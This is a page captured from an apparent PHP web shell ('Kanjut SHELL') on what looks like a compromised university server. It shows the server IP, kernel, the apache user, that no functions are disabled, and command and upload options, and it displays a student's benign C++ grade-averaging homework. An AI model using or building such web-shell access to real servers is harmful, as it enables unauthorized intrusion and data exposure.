Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.102.18
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/acyurksaitis/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/acyurksaitis/hw3.cpp
// CS212 HW #3:  homework3.cpp
//
// Due:          February 20, 2008
//
// Author:       Amy Yurksaitis
//
// Instructor:   Dr. Wang
//
// Goal:         To write a program that allows the user to input student
//               data such as; name, age, and test scores. Then the program
//               will output to the screen that information plus the
//               students average, the class average,
//               and the average age of the class
//
// Compile:      g++ homework3.cpp -o homework3.out
// Run:          ./homework3.out
/////////////////////////////////////////////////////////////////////////////

#include <iostream>

using namespace std;

class Student
{
private:
	string name;
	int scores[3];
public:
	Student()	// default constructor
	{	name = "xxx xxx"; scores[0]=0; scores[1]=0; scores[2]=0;  }
	Student(string n, int s1, int s2, int s3)	// general construct
        {       name=n; scores[0]=s1; scores[1]=s2; scores[2]=s3;  }
	void Set(string n, int s1, int s2, int s3)	// transformer
	{	name=n; scores[0]=s1; scores[1]=s2; scores[2]=s3;  }
	float avg() const	// observer
	{	float t;
		t = (scores[0]+scores[1]+scores[2])/3.0;
		return t;
	}
	char Grade() const
	{	if( avg() >= 60 )
			return 'P';
		else
			return 'F';
	}
	void Print() const
	{	cout << "Name: " << name << ", 3 scores: " 
			<< scores[0] << ", " << scores[1] << ", "
			<< scores[2] << endl;
		cout << "Avg: " << avg(); cout << ", Grade: " << Grade();  
	}
};

int main()
{
	Student me;	// invoke default
	string n; char dummy;
	int s1, s2, s3; float total = 0; int size=0;

	getline(cin, n);	
	while(cin)
	{
		cin >> s1 >> s2 >> s3;
		me.Set(n, s1, s2, s3);
		me.Print();
		cout << "\n---------\n\n";
		total += me.avg();		
		size ++;

		cin.get(dummy);         // drop '\n'
		getline(cin, n);
	}
	cout << "Class total: " << total << endl;
	cout << "class size: " << size << endl;
	cout << "\n\nDone.\n\n\n";
	return 0;
}



Stv3n404 - 2023